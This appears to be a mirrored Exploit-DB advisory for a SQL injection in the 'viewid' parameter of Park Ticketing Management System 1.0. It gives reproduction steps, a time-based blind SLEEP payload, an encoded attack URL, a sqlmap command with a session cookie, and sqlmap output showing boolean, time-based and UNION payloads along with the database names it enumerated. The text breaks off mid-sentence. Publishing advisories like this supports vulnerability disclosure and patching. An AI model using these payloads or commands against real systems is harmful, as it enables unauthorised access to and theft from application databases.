Park Ticketing Management System 1.0 – ‘viewid’ SQL Injection

  • 作者: Zeyad Azima
    日期: 2021-02-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49503/
  • # Exploit Title: Park Ticketing Management System 1.0 - 'viewid' SQL Injection
    # Google Dork: N/A
    # Date: 29/1/2021
    # Exploit Author: Zeyad Azima
    # Vendor Homepage: https://phpgurukul.com/
    # Software Link: https://phpgurukul.com/park-ticketing-management-system-using-php-and-mysql/
    # Version: V1
    # Tested on: Windows
    
    # Identify the vulnerability
    
    1- go to http://localhost/index.php and login with your account
    
    2- then go to http://localhost/manage-normal-ticket.php
    
    3- Click view on any ticket. then add the following payload to the url
    
    payload: ' AND (SELECT 8292 FROM (SELECT(SLEEP(5)))XIQB) AND 'QCDH'='QCDH
    url: http://localhost/view-normal-ticket.php?viewid=1%27%20AND%20(SELECT%208292%20FROM%20(SELECT(SLEEP(5)))XIQB)%20AND%20%27QCDH%27=%27QCDH
    
    If the web server makes you wait 5 seconds then it's vulnerable
    
    
    # Exploit
    
    Now you can exploit it using sqlmap
    
    command: sqlmap -u url --cookies="cookies here" --dbs
    
    example: sqlmap -u http://localhost/view-normal-ticket.php?viewid=1
    --cookie="PHPSESSID=dtp3titus8giv9bpdmimi6r6f1" --dbs
    
    ___
     __H__
     ___ ___[)]_____ ___ ___{1.4.10.16#dev}
    |_ -| . [)] | .'| . |
    |___|_[.]_|_|_|__,|_|
    |_|V... |_| http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without
    prior mutual consent is illegal. It is the end user's responsibility
    to obey all applicable local, state and federal laws. Developers
    assume no liability and are not responsible for any misuse or damage
    caused by this program
    
    [*] starting @ 23:19:33 /2021-01-29/
    
    [23:19:34] [INFO] resuming back-end DBMS 'mysql'
    [23:19:34] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: viewid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: viewid=1' AND 5743=5743 AND 'wcUF'='wcUF
    
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: viewid=1' AND (SELECT 8292 FROM (SELECT(SLEEP(5)))XIQB)
    AND 'QCDH'='QCDH
    
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: viewid=1' UNION ALL SELECT
    NULL,NULL,NULL,CONCAT(0x716a767a71,0x6f5367494d7573444b726d466e617a77735574536d49466a654d6569746b4972745556686a4e4548,0x716a767671),NULL,NULL,NULL--
    -
    ---
    [23:19:34] [INFO] the back-end DBMS is MySQL
    web application technology: Apache 2.4.41, PHP 7.3.10
    back-end DBMS: MySQL >= 5.0.12
    [23:19:34] [INFO] fetching database names
    available databases [8]:
    [*] detsdb
    [*] information_schema
    [*] mysql
    [*] performance_schema
    [*] ptmsdb
    [*] sys
    [*] umspsdb
    [*] zmsdb
    
    [23:19:34] [INFO] fetched data logged to text files under